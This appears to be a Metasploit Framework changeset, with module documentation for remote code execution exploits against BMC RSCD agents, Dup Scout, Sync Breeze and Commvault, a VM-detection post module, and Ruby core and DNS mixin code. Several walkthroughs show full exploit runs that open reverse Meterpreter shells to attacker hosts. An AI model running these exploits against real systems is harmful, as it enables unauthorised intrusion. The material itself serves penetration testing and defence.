Technical details of the RCE exploit can be found [here](https://nickbloor.co.uk/2018/01/01/rce-with-bmc-server-automation/) and [here](https://nickbloor.co.uk/2018/01/08/improving-the-bmc-rscd-rce-exploit/).
## Vulnerable Application
The module affects the RSCD agent component of [BMC BladeLogic Server Automation](http://www.bmcsoftware.uk/it-solutions/bladelogic-server-automation.html). The agent is installed on servers managed using BMC BladeLogic Server Automation and listens on TCP port 4750. The vulnerability affects versions 8.x below 8.6 SP1 Patch 2, 8.7 Patch 3, and 8.8. More details on affected versions and the fix can be found from the [BMC Knowledgebase](https://selfservice.bmc.com/casemgmt/sc_KnowledgeArticle?sfdcid=kA214000000dBpnCAE&type=Solution).
## Verification Steps
To use this exploit you will need access to BMC BladeLogic Server Automation.
1. Install the RSCD agent on a host as detailed in the [BMC documentation](https://docs.bmc.com/docs/ServerAutomation/89/agent-installation-overview-653394992.html).
2. Ensure that the RSCD service is running and listening on TCP port 4750.
3. Launch `msfconsole`.
4. Load the module `use exploit/multi/misc/bmc_server_automation_rscd_nsh_rce`.
5. Select the generic command target `set target 3`.
6. Select a generic command payload `set payload cmd/unix/generic` or `set payload cmd/windows/generic`.
7. Set the command to execute `set CMD "echo MSF"` or `set CMD "cmd /c echo MSF"`.
8. Run the exploit `exploit`.
The result should be that the string `MSF` is returned and output.
## Usage Scenarios
The exploit module contains several targets as detailed below.
### Target 0: Automatic
The automatic target causes the module to issue an `agentinfo` request to the target in an attempt to identify the target operating system. If it appears to be a Windows target then the module behaves as though target 1 was selected, otherwise it behaves as though target 2 was selected.
### Target 1: Windows/VBS Stager
This module target provides support for command staging to enable arbitrary Metasploit payloads to be used against Windows targets (for example, a Meterpreter shell).
msf > use exploit/multi/misc/bmc_server_automation_rscd_nsh_rce
msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) > set RHOST 34.239.181.84
RHOST => 34.239.181.84
msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) > set LHOST 54.164.112.135
LHOST => 54.164.112.135
msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) > set TARGET 1
TARGET => 1
msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) > exploit
[*] Exploit running as background job 1.
msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) >
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] 34.239.181.84:4750 - Command Stager progress - 8.01% done (8099/101056 bytes)
[*] 34.239.181.84:4750 - Command Stager progress - 16.03% done (16198/101056 bytes)
[*] 34.239.181.84:4750 - Command Stager progress - 24.04% done (24297/101056 bytes)
[*] 34.239.181.84:4750 - Command Stager progress - 32.06% done (32396/101056 bytes)
[*] 34.239.181.84:4750 - Command Stager progress - 40.07% done (40495/101056 bytes)
[*] 34.239.181.84:4750 - Command Stager progress - 48.09% done (48594/101056 bytes)
[*] 34.239.181.84:4750 - Command Stager progress - 56.10% done (56693/101056 bytes)
[*] 34.239.181.84:4750 - Command Stager progress - 64.11% done (64792/101056 bytes)
[*] 34.239.181.84:4750 - Command Stager progress - 72.13% done (72891/101056 bytes)
[*] 34.239.181.84:4750 - Command Stager progress - 80.14% done (80990/101056 bytes)
[*] 34.239.181.84:4750 - Command Stager progress - 88.16% done (89089/101056 bytes)
[*] 34.239.181.84:4750 - Command Stager progress - 96.17% done (97188/101056 bytes)
[*] 34.239.181.84:4750 - Command Stager progress - 100.00% done (101056/101056 bytes)
[*] Sending stage (179779 bytes) to 34.239.181.84
[*] Meterpreter session 1 opened (172.31.58.107:4444 -> 34.239.181.84:56233) at 2018-01-14 00:54:49 +0000
### Target 2: Unix/Linux
This module target provides support for command staging to enable arbitrary Metasploit payloads to be used against Unix/Linux targets in the same way as target 1.
### Target 3: Generic Cmd
This target can be used with *cmd* payloads to execute operating system commands against the target host.
msf > use exploit/multi/misc/bmc_server_automation_rscd_nsh_rce
msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) > set RHOST 34.239.181.84
RHOST => 34.239.181.84
msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) > set TARGET 3
TARGET => 3
msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) > set PAYLOAD cmd/windows/generic
PAYLOAD => cmd/windows/generic
msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) > set CMD "cmd /c whoami"
CMD => cmd /c whoami
msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) > exploit
[*] Exploit running as background job 2.
msf exploit(multi/misc/bmc_server_automation_rscd_nsh_rce) >
[+] 34.239.181.84:4750 - Output
ip-ac1f1eb2\bladelogicrscd
#### Windows Hosts
When using this module target against Windows hosts, non-powershell command lines are limited to around 8,100 characters and generally have to be prefixed with `cmd /c`.
Powershell commands are executed differently and have a much larger length limit of around 32,700 characters.
@@ -0,0 +1,45 @@
This module exploits a buffer overflow in Dup Scout Enterprise v10.4.16 by using the import command option to import a specially crafted xml file.
## Vulnerable Application
This module has been tested successfully on Windows 7 SP1. The vulnerable application is available for download at [www.dupscout.com](http://www.dupscout.com/setups/dupscoutent_setup_v10.4.16.exe).
## Verification Steps
1. Start msfconsole
2. Do: `exploit/windows/fileformat/dupscout_xml`
3. Do: `set PAYLOAD [PAYLOAD]`
4. Do: `run`
## Example
```
msf > use exploit/windows/fileformat/dupscout_xml
msf exploit(windows/fileformat/dupscout_xml) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(windows/fileformat/dupscout_xml) > set LHOST 172.16.40.146
LHOST => 172.16.40.146
msf exploit(windows/fileformat/dupscout_xml) > run
[*] Creating 'msf.xml' file ...
[+] msf.xml stored at /root/.msf4/local/msf.xml
msf exploit(windows/fileformat/dupscout_xml) > use exploit/multi/handler
msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 172.16.40.146
LHOST => 172.16.40.146
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 172.16.40.146:4444
[*] Sending stage (179779 bytes) to 172.16.40.144
[*] Meterpreter session 1 opened (172.16.40.146:4444 -> 172.16.40.144:49790) at 2018-01-24 20:56:56 +0000
meterpreter > sysinfo
Computer : PC
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86
System Language : pt_PT
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x86/windows
meterpreter >
```
@@ -0,0 +1,45 @@
This module exploits a buffer overflow in Sync Breeze Enterprise 9.5.16 by using the import command option to import a specially crafted xml file.
## Vulnerable Application
This module has been tested successfully on Windows 7 SP1. The vulnerable application is available for download at [Exploit-DB](https://www.exploit-db.com/apps/e5c42cce3304c323776e4785e8fb4685-syncbreezeent_setup_v9.5.16.exe).
## Verification Steps
1. Start msfconsole
2. Do: `exploit/windows/fileformat/syncbreeze_xml`
3. Do: `set PAYLOAD [PAYLOAD]`
4. Do: `run`
## Example
```
msf > use exploit/windows/fileformat/syncbreeze_xml
msf exploit(windows/fileformat/syncbreeze_xml) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(windows/fileformat/syncbreeze_xml) > set LHOST 192.168.216.5
LHOST => 192.168.216.5
msf exploit(windows/fileformat/syncbreeze_xml) > run
[*] Creating 'msf.xml' file ...
[+] msf.xml stored at /root/.msf4/local/msf.xml
msf exploit(windows/fileformat/syncbreeze_xml) > use exploit/multi/handler
msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.216.5
LHOST => 192.168.216.5
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.216.5:4444
[*] Sending stage (179779 bytes) to 192.168.216.137
[*] Meterpreter session 1 opened (192.168.216.5:4444 -> 192.168.216.137:49830) at 2018-01-15 15:32:02 -0500
meterpreter > sysinfo
Computer : IE11WIN7
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >
```
@@ -1,21 +1,208 @@
# Commvault Communications Service execCmd Vulnerability
## Introduction
Commvault is a data protection and information management software; an enterprise-level data
platform that contains modules to back up, restore, archive, replicate, and search data.
According to public documentation, the data is protected by installing agent software on the
physical or virtual hosts, which use the OS or application native APIs to protect data in a
consistent state. Production data is processed by the agent on client computers and backed
up through a data manager (the MediaAgent) to disk, tape, or cloud storage. All data
management activity in the environment is tracked by a centralized server (called CommServe),
and can be managed by administrators through a central user interface. End users can access
protected data using web browsers or mobile devices.
One of the base services of Commvault is vulnerable to a remote command injection attack,
specifically the cvd service.
## Vulnerable Application
Commvault v11 SP5 or prior are vulnerable to this vulnerability. The specific vulnerable
version I tested was 11.0.80.0.
This module exploits a remote command injection vulnerability in the Commvault Communications service (cvd.exe). Exploitation of this vulnerability can allow for remote command execution as SYSTEM.
The version of the vulnerable DLL is:
```
Image path: C:\Program Files\Commvault\ContentStore\Base\CVDataPipe.dll
Image name: CVDataPipe.dll
Timestamp: Wed Dec 21 11:59:21 2016 (585AC2F9)
CheckSum: 002ED404
ImageSize: 002F0000
File version: 11.80.50.60437
Product version: 11.0.0.0
File flags: 1 (Mask 3F) Debug
File OS: 40004 NT Win32
File type: 1.0 App
File date: 00000000.00000000
Translations: 0409.04b0
CompanyName: Commvault
ProductName: Commvault
InternalName: CVDataPipe
OriginalFilename: CVDataPipe.dll
ProductVersion: 11.0.0.0
FileVersion: 11.80.50.60437
PrivateBuild:
SpecialBuild:
FileDescription:
LegalCopyright: Copyright (c) 2000-2016
LegalTrademarks:
Comments:
```
## Root Cause Analysis
Usually, there are two ways to execute a command in a C/C++ application, one of them is ```WinExec()```,
and the other one is ```CreateProcess()```:
```
BOOL WINAPI CreateProcess(
_In_opt_ LPCTSTR lpApplicationName,
_Inout_opt_ LPTSTR lpCommandLine,
_In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ BOOL bInheritHandles,
_In_ DWORD dwCreationFlags,
_In_opt_ LPVOID lpEnvironment,
_In_opt_ LPCTSTR lpCurrentDirectory,
_In_ LPSTARTUPINFO lpStartupInfo,
_Out_ LPPROCESS_INFORMATION lpProcessInformation
);
```
Since ```CreateProcess()``` is meant to replace ```WinExec()``` according to Microsoft, we can create a
breakpoint there first in our debugger (WinDBG), and we hit it:
```
0:044> g
Breakpoint 3 hit
kernel32!CreateProcessA:
00000000`76fe8730 4c8bdc mov r11,rsp
```
Looking at the callstack of this ```kernel32!CreateProcessA```, we already have a pretty good idea
locating the vulnerability:
```
0:044> k
Child-SP RetAddr Call Site
00000000`11a36b78 000007fe`f378a40f kernel32!CreateProcessA
00000000`11a36b80 000007fe`f377714e CVDataPipe!execCmd+0x7af
00000000`11a3f340 000007fe`f3777a69 CVDataPipe!CVDMessageHandler+0x78e
00000000`11a3fbd0 000007fe`f9cdc58d CVDataPipe!CVDMessageHandler+0x10a9
00000000`11a3fd40 000007fe`f9cdc1b1 CvBasicLib!CvThreadPool::th_defaultWorkerObj+0x3cd
00000000`11a3fe40 000007fe`f9cd2073 CvBasicLib!CvThreadPool::th_defaultWorker+0x51
00000000`11a3fe90 000007fe`f9a84f7f CvBasicLib!CvThread::~CvThread+0x63
00000000`11a3fee0 000007fe`f9a85126 MSVCR120!_callthreadstartex+0x17 [f:\dd\vctools\crt\crtw32\startup\threadex.c @ 376]
00000000`11a3ff10 00000000`76f6f56d MSVCR120!_threadstartex+0x102 [f:\dd\vctools\crt\crtw32\startup\threadex.c @ 354]
00000000`11a3ff40 00000000`770a3281 kernel32!BaseThreadInitThunk+0xd
00000000`11a3ff70 00000000`00000000 ntdll!RtlUserThreadStart+0x1d
```
There are two things that are interesting. One of them is ```CVDataPipe!CVDMessageHandler```, and the
other one is ```CVDataPipe!execCmd```.
```CVDataPipe!CVDMessageHandler``` is basically a function that handles our packet's message type.
The Metasploit exploit specifically sends a code of ```9h```, which is the message type for ```execCmd```:
```
.text:0000000180147103 loc_180147103: ; CODE XREF: CVDMessageHandler(int,selectStruct_t *,CQiSocket,void *):loc_180146D78j
.text:0000000180147103 lea rax, [rsp+888h+var_220] ; jumptable 0000000180146D78 case 9
.text:000000018014710B mov [rsp+888h+var_600], rax
.text:0000000180147113 mov rdx, [rsp+888h+sock]
.text:000000018014711B mov rcx, [rsp+888h+var_600]
.text:0000000180147123 call cs:??0CQiSocket@@QEAA@AEBV0@@Z ; CQiSocket::CQiSocket(CQiSocket const &)
.text:0000000180147129 mov [rsp+888h+var_5F0], rax
.text:0000000180147131 mov r8, [rsp+888h+arg_18]
.text:0000000180147139 mov rdx, [rsp+888h+var_5F0]
.text:0000000180147141 mov rcx, [rsp+888h+structSelect]
.text:0000000180147149 call ?execCmd@@YAXPEAUselectStruct_t@@VCQiSocket@@PEAX@Z ; execCmd(selectStruct_t *,CQiSocket,void *)
```
If we take a closer look at the ```execCmd``` function, we can tell the purpose of it is for processes such as:
* ifind (For restoring purposes)
* BackupShadow.exe (For archiving)
* Pub (Map file)
* createIndex (A Commvault process for building index)
Additional information can be found [here](https://www.securifera.com/advisories/sec-2017-0001/)
```
.text:0000000180159F1B loc_180159F1B: ; CODE XREF: execCmd(selectStruct_t *,CQiSocket,void *)+261j
.text:0000000180159F1B ; DATA XREF: .rdata:0000000180286258o
.text:0000000180159F1B lea rdx, aIfind ; "ifind"
.text:0000000180159F22 lea rcx, [rsp+87B8h+ApplicationName] ; Str
.text:0000000180159F2A call cs:strstr
.text:0000000180159F30 test rax, rax
.text:0000000180159F33 jnz short loc_180159F6D
.text:0000000180159F35 lea rdx, aBackupshadow_e ; "BackupShadow.exe"
.text:0000000180159F3C lea rcx, [rsp+87B8h+ApplicationName] ; Str
.text:0000000180159F44 call cs:strstr
.text:0000000180159F4A test rax, rax
.text:0000000180159F4D jnz short loc_180159F6D
.text:0000000180159F4F lea rdx, aPub ; "Pub"
.text:0000000180159F56 lea rcx, [rsp+87B8h+ApplicationName] ; Str
.text:0000000180159F5E call cs:strstr
...
.text:000000018015A0BA loc_18015A0BA: ; CODE XREF: execCmd(selectStruct_t *,CQiSocket,void *)+307j
.text:000000018015A0BA lea rdx, aCreateindex ; "createIndex"
.text:000000018015A0C1 lea rcx, [rsp+87B8h+ApplicationName] ; Str
.text:000000018015A0C9 call cs:strstr
.text:000000018015A0CF test rax, rax
.text:000000018015A0D2 jz loc_18015A220
```
However, if you don't call one of these processes, the ```execCmd``` will assume you want to run your
custom process, and pass it to ```CreateProcess``` anyway:
```
.text:000000018015A361 loc_18015A361: ; CODE XREF: execCmd(selectStruct_t *,CQiSocket,void *)+675j
.text:000000018015A361 call cs:GetEnvironmentStrings
.text:000000018015A367 mov [rsp+87B8h+var_86A8], rax
.text:000000018015A36F lea rax, [rsp+87B8h+StartupInfo]
.text:000000018015A377 mov rdi, rax
.text:000000018015A37A xor eax, eax
.text:000000018015A37C mov ecx, 68h
.text:000000018015A381 rep stosb
.text:000000018015A383 mov [rsp+87B8h+StartupInfo.cb], 68h
.text:000000018015A38E lea rax, [rsp+87B8h+ProcessInformation]
.text:000000018015A396 mov rdi, rax
.text:000000018015A399 xor eax, eax
.text:000000018015A39B mov ecx, 18h
.text:000000018015A3A0 rep stosb
.text:000000018015A3A2 mov [rsp+87B8h+StartupInfo.dwFlags], 1
.text:000000018015A3AD xor eax, eax
.text:000000018015A3AF mov [rsp+87B8h+StartupInfo.wShowWindow], ax
.text:000000018015A3B7 lea rax, [rsp+87B8h+ProcessInformation]
.text:000000018015A3BF mov [rsp+87B8h+lpProcessInformation], rax ; lpProcessInformation
.text:000000018015A3C4 lea rax, [rsp+87B8h+StartupInfo]
.text:000000018015A3CC mov [rsp+87B8h+lpStartupInfo], rax ; lpStartupInfo
.text:000000018015A3D1 mov [rsp+87B8h+lpCurrentDirectory], 0 ; lpCurrentDirectory
.text:000000018015A3DA mov [rsp+87B8h+lpEnvironment], 0 ; lpEnvironment
.text:000000018015A3E3 mov [rsp+87B8h+dwCreationFlags], 10h ; dwCreationFlags
.text:000000018015A3EB mov [rsp+87B8h+bInheritHandles], 0 ; bInheritHandles
.text:000000018015A3F3 xor r9d, r9d ; lpThreadAttributes
.text:000000018015A3F6 xor r8d, r8d ; lpProcessAttributes
.text:000000018015A3F9 lea rdx, [rsp+87B8h+CommandLine] ; lpCommandLine
.text:000000018015A401 lea rcx, [rsp+87B8h+ApplicationName] ; lpApplicationName
.text:000000018015A409 call cs:CreateProcessA
```
## Verification Steps
It is unclear whether allowing an arbitrary custom process is intentional or not, it is unsafe
anyway considering the cvd process binds to 0.0.0.0, so anybody can gain access to it under the
context of SYSTEM.
## Using the Metasploit Module
1. Start msfconsole
2. `use exploit/windows/misc/commvault_cmd_exec`
3. `set RHOST [ip]`
4. `exploit`
5. shellz :)
## References
* https://en.wikipedia.org/wiki/Commvault
* https://www.securifera.com/advisories/sec-2017-0001/
@@ -0,0 +1,47 @@
This is a post-exploitation module that checks several known registry keys and process names, as a simple way to determine if your target is running inside of a virtual machine. While many of these are easy to change, triggering a false negative, this script services as a simple pre-check.
The script has been tested on a variety of Windows 10 targets, but changes to hypervisors and VM-related drivers are common. If you identify misleading output from this tool, please [file an issue](https://github.com/rapid7/metasploit-framework/issues/new) or, even better, [submit a pull request](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md#contributing-to-metasploit).
The script can be run from within a Meterpreter session or from the Metasploit shell:
### Within Meterpreter
```
meterpreter > run post/windows/gather/checkvm
```
### From the Metasploit console
```
msf > use post/windows/gather/checkvm
msf post(windows/gather/checkvm) > set SESSION 1
SESSION => 1
msf post(windows/gather/checkvm) > run
[*] Checking if DESKTOP-Q05UKIU is a Virtual Machine .....
[+] This is a VMware Virtual Machine
[*] Post module execution completed
```
# Example Output
### On a Windows 10 x64 physical machine
```
[*] Checking if DESKTOP-Q05UKIU is a Virtual Machine .....
[*] DESKTOP-Q05UKIU appears to be a Physical Machine
```
### On a Windows 10 x64 VMware VM
```
[*] Checking if DESKTOP-Q05UKIU is a Virtual Machine .....
[+] This is a VMware Virtual Machine
```
### On a Windows 10 x64 Hyper-V VM
```
[*] Checking if DESKTOP-Q05UKIU is a Virtual Machine .....
[+] This is a Hyper-V Virtual Machine running on physical host ASOTO-HYPERV-SERVER
msf > notes
[*] Time: 2018-01-17 18:31:24 UTC Note: host=192.168.77.2 type=host.hypervisor data={:hypervisor=>"MS Hyper-V"}
[*] Time: 2018-01-17 18:31:24 UTC Note: host=192.168.77.2 type=host.physicalHost data={:hypervisor=>"ASOTO-HYPERV-SERVER"}
```
+1 -1
View File
@@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "4.16.32"
VERSION = "4.16.35"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash
@@ -66,6 +66,10 @@ module Msf
OptInt.new(
'SessionCommunicationTimeout',
[ false, 'The number of seconds of no activity before this session should be killed', TIMEOUT_COMMS]
),
OptString.new(
'PayloadProcessCommandLine',
[ false, 'The displayed command line that will be used by the payload', '']
)
],
self.class
+7 -1
View File
@@ -65,6 +65,12 @@ module Msf
end
def generate_config(opts={})
ds = opts[:datastore] || datastore
if ds['PayloadProcessCommandLine'] != ''
opts[:name] ||= ds['PayloadProcessCommandLine']
end
opts[:uuid] ||= generate_payload_uuid
case opts[:scheme]
@@ -85,7 +91,7 @@ module Msf
end
opts[:session_guid] = Base64.encode64(guid).strip
opts.slice(:uuid, :session_guid, :uri, :debug, :log_file)
opts.slice(:uuid, :session_guid, :uri, :debug, :log_file, :name)
end
end
+14
View File
@@ -170,6 +170,20 @@ class DataStore < Hash
datastore_hash
end
# Hack on a hack for the external modules
def to_nested_values
datastore_hash = {}
self.keys.each do |k|
# TODO arbitrary depth
if self[k].is_a? Array
datastore_hash[k.to_s] = self[k].map(&:to_s)
else
datastore_hash[k.to_s] = self[k].to_s
end
end
datastore_hash
end
#
# Persists the contents of the data store to a file
#
+20
View File
@@ -0,0 +1,20 @@
# -*- coding: binary -*-
require 'msf/core'
require 'rex/proto/dns'
module Msf
###
#
# This namespace exposes methods for interacting with and providing services
#
###
module Exploit::Remote::DNS
end
end
require 'msf/core/exploit/dns/common'
require 'msf/core/exploit/dns/client'
require 'msf/core/exploit/dns/server'
+217
View File
@@ -0,0 +1,217 @@
# -*- coding: binary -*-
require 'msf/core'
require 'rex/proto/dns'
module Msf
###
#
# This module exposes methods for querying a remote DNS service
#
###
module Exploit::Remote::DNS
module Client
include Common
include Exploit::Remote::Udp
include Exploit::Remote::Tcp
#
# Initializes an exploit module that interacts with a DNS server.
#
def initialize(info = {})
super
deregister_options('RHOST')
register_options(
[
Opt::RPORT(53),
Opt::Proxies,
OptString.new('DOMAIN', [ false, "The target domain name"]),
OptString.new('NS', [ false, "Specify the nameservers to use for queries, space separated" ]),
OptString.new('SEARCHLIST', [ false, "DNS domain search list, comma separated"]),
OptInt.new('THREADS', [true, "Number of threads to use in threaded queries", 1])
], Exploit::Remote::DNS::Client
)
register_advanced_options(
[
OptString.new('DnsClientDefaultNS', [ false, "Specify the default to use for queries, space separated", '8.8.8.8 8.8.4.4' ]),
OptInt.new('DnsClientRetry', [ false, "Number of times to try to resolve a record if no response is received", 2]),
OptInt.new('DnsClientRetryInterval', [ false, "Number of seconds to wait before doing a retry", 2]),
OptBool.new('DnsClientReportARecords', [false, "Add hosts found via BRT and RVL to DB", true]),
OptBool.new('DnsClientRVLExistingOnly', [false, "Only perform lookups on hosts in DB", true]),
OptBool.new('DnsClientTcpDns', [false, "Run queries over TCP", false]),
OptPath.new('DnsClientResolvconf', [true, "Resolvconf formatted configuration file to use for Resolver", "/dev/null"])
], Exploit::Remote::DNS::Client
)
register_autofilter_ports([ 53 ]) if respond_to?(:register_autofilter_ports)
register_autofilter_services(%W{ dns }) if respond_to?(:register_autofilter_services)
end
#
# Convenience wrapper around Resolver's query method - send DNS request
#
# @param domain [String] Domain for which to request a record
# @param type [String] Type of record to request for domain
#
# @return [Dnsruby::RR] DNS response
def query(domain = datastore['DOMAIN'], type = 'A')
client.query(domain, type)
end
#
# Performs a set of asynchronous lookups for an array of domain,type pairs
#
# @param queries [Array] Set of domain,type pairs to pass into #query
# @param threadmax [Fixnum] Max number of running threads at a time
# @param block [Proc] Code block to execute with the query result
#
# @return [Array] Resulting set of responses or responses processed by passed blocks
def query_async(queries = [], threadmax = datastore['THREADS'], &block)
running = []
while !queries.empty?
domain, type = queries.shift
running << framework.threads.spawn("Module(#{self.refname})-#{domain} #{type}", false) do |qat|
if block
block.call(query(domain,type))
else
query(domain,type)
end
end
while running.select(&:alive?).count >= threadmax
Rex::ThreadSafe.sleep(1)
end
end
return running.join
end
#
# Switch DNS forwarders in resolver with thread safety
#
# @param ns [Array, String] List of (or single) nameservers to use
def set_nameserver(ns = [])
if ns.respond_to?(:split)
ns = [ns]
end
@lock.synchronize do
@dns_resolver.nameserver = ns.flatten
end
end
#
# Switch nameservers to use explicit NS or SOA for target
#
# @param domain [String] Domain for which to find SOA
def switchdns(domain)
if datastore['NS'].blank?
resp_soa = client.query(target, "SOA")
if (resp_soa)
(resp_soa.answer.select { |i| i.is_a?(Dnsruby::RR::SOA)}).each do |rr|
resp_1_soa = client.search(rr.mname)
if (resp_1_soa and resp_1_soa.answer[0])
set_nameserver(resp_1_soa.answer.map(&:address).compact.map(&:to_s))
print_status("Set DNS Server to #{target} NS: #{client.nameserver.join(', ')}")
break
end
end
end
else
vprint_status("Using DNS Server: #{client.nameserver.join(', ')}")
client.nameserver = process_nameservers
end
end
#
# Detect if target has wildcards enabled for a record type
#
# @param target [String] Domain to test
# @param type [String] Record type to test
#
# @return [String] Address which is returned for wildcard requests
def wildcard(domain, type = "A")
addr = false
rendsub = rand(10000).to_s
response = query("#{rendsub}.#{target}", type)
if response.answer.length != 0
vprint_status("This domain has wildcards enabled!!")
response.answer.each do |rr|
print_status("Wildcard IP for #{rendsub}.#{target} is: #{rr.address.to_s}") if rr.class != Dnsruby::RR::CNAME
addr = rr.address.to_s
end
end
return addr
end
#
# Create and configure Resolver object
#
def setup_resolver
options.validate(datastore) # This is a hack, DS values should not be Strings prior to this
config = {
:config_file => datastore['DnsClientResolvconf'],
:nameservers => process_nameservers,
:port => datastore['RPORT'],
:retry_number => datastore['DnsClientRetry'].to_i,
:retry_interval => datastore['DnsClientRetryInterval'].to_i,
:use_tcp => datastore['DnsClientTcpDns'],
:context => {'Msf' => framework, 'MsfExploit' => self}
}
if datastore['SEARCHLIST']
if datastore['SEARCHLIST'].split(',').all? do |search|
search.match(MATCH_HOSTNAME)
end
config[:search_list] = datastore['SEARCHLIST'].split(',')
else
raise 'Domain search list must consist of valid domains'
end
end
if datastore['CHOST']
config[:source_address] = IPAddr.new(datastore['CHOST'].to_s)
end
if datastore['CPORT']
config[:source_port] = datastore['CPORT'] unless datastore['CPORT'] == 0
end
if datastore['Proxies']
vprint_status("Using DNS/TCP resolution for proxy config")
config[:use_tcp] = true
config[:proxies] = datastore['Proxies']
end
@dns_resolver_lock = Mutex.new unless @dns_resolver_lock
@dns_resolver = Rex::Proto::DNS::Resolver.new(config)
end
#
# Convenience method for DNS resolver as client
# Executes setup_resolver if none exists
#
def client
setup_resolver unless @dns_resolver
@dns_resolver
end
#
# Sets the resolver's nameservers
# Uses explicitly defined NS option if set
# Uses RHOSTS if not explicitly defined
def process_nameservers
if datastore['NS'].blank?
nameservers = datastore['DnsClientDefaultNS'].split(/\s|,/)
else
nameservers = datastore['NS'].split(/\s|,/)
end
invalid = nameservers.select { |ns| !Rex::Socket.dotted_ip?(ns) }
if !invalid.empty?
raise "Nameservers must be IP addresses. The following were invalid: #{invalid.join(", ")}"
end
nameservers
end
end
end
end
+22
View File
@@ -0,0 +1,22 @@
# -*- coding: binary -*-
require 'msf/core'
require 'rex/proto/dns'
module Msf
###
#
# This module exposes methods for querying a remote DNS service
#
###
module Exploit::Remote::DNS
module Common
MATCH_HOSTNAME = Rex::Proto::DNS::Constants::MATCH_HOSTNAME
Packet = Rex::Proto::DNS::Packet
end
end
end
+163
View File
@@ -0,0 +1,163 @@
# -*- coding: binary -*-
require 'msf/core'
require 'rex/proto/dns'
require 'msf/core/exploit/dns/common'
module Msf
###
#
# This module exposes methods for querying a remote DNS service
#
###
module Exploit::Remote::DNS
module Server
include Exploit::Remote::DNS::Common
include Exploit::Remote::SocketServer
#
# Initializes an exploit module that serves DNS requests
#
def initialize(info = {})
super
register_options(
[
OptPort.new('SRVPORT', [true, 'The local port to listen on.', 53]),
OptString.new('STATIC_ENTRIES', [ false, "DNS domain search list (hosts file or space/semicolon separate entries)"]),
OptBool.new('DISABLE_RESOLVER', [ false, "Disable DNS request forwarding", false]),
OptBool.new('DISABLE_NS_CACHE', [ false, "Disable DNS response caching", false])
], Exploit::Remote::DNS::Server
)
register_advanced_options(
[
OptBool.new('DnsServerUdp', [true, "Serve UDP DNS requests", true]),
OptBool.new('DnsServerTcp', [true, "Serve TCP DNS requests", false])
], Exploit::Remote::DNS::Server
)
end
attr_accessor :service # :nodoc:
#
# Process static entries
#
# @param entries [String] Filename or String containing static entries
# @param type [String] Type of record for which to add static entries
#
# @return [Array] List of static entries in the cache
def add_static_hosts(entries = datastore['STATIC_ENTRIES'], type = 'A')
return if entries.nil? or entries.empty?
if File.file?(File.expand_path(entries))
data = File.read(File.expand_path(entries)).split("\n")
else
data = entries.split(';')
end
data.each do |entry|
next if entry.gsub(/\s/,'').empty?
addr, names = entry.split(' ', 2)
names.split.each do |name|
name << '.' unless name[-1] == '.' or name == '*'
service.cache.add_static(name, addr, type)
end
end
service.cache.records.select {|r,e| e == 0}
end
#
# Flush all static entries
#
def flush_static_hosts
data.cache.records.select {|r,e| e == 0}.each do |flush|
data.cache.delete(flush)
end
end
#
# Flush cache entries
# @param static [TrueClass, FalseClass] flush static hosts
def flush_cache(static = false)
self.service.cache.stop(true)
flush_static_hosts if static
self.service.cache.start
end
#
# Handle incoming requests
# Override this method in modules to take flow control
#
def on_dispatch_request(cli, data)
service.default_dispatch_request(cli,data)
end
#
# Handle incoming requests
# Override this method in modules to take flow control
#
def on_send_response(cli, data)
cli.write(data)
end
#
# Starts the server
#
def start_service
begin
comm = _determine_server_comm
self.service = Rex::ServiceManager.start(
Rex::Proto::DNS::Server,
datastore['SRVHOST'],
datastore['SRVPORT'],
datastore['DnsServerUdp'],
datastore['DnsServerTcp'],
(use_resolver? ? setup_resolver : false),
comm,
{'Msf' => framework, 'MsfExploit' => self}
)
self.service.dispatch_request_proc = Proc.new do |cli, data|
on_dispatch_request(cli,data)
end
self.service.send_response_proc = Proc.new do |cli, data|
on_send_response(cli,data)
end
add_static_hosts
self.service.start(!datastore['DISABLE_NS_CACHE'])
rescue ::Errno::EACCES => e
raise Rex::BindFailed.new(e.message)
end
end
#
# Stops the server
# @param destroy [TrueClass,FalseClass] Dereference the server object
def stop_service(destroy = false)
Rex::ServiceManager.stop_service(self.service) if self.service
if destroy
@dns_resolver = nil if @dns_resolver
self.service = nil if self.service
end
end
#
# Resets the DNS server
#
def reset_service
stop_service(true)
start_service
end
#
# Determines if resolver is available and configured for use
#
def use_resolver?
!datastore['DISABLE_RESOLVER'] and self.respond_to?(:setup_resolver)
end
end
end
end
+172
View File
@@ -0,0 +1,172 @@
# -*- coding: binary -*-
module Msf
###
#
# This mixin provides a generic interface for running a socket server of some
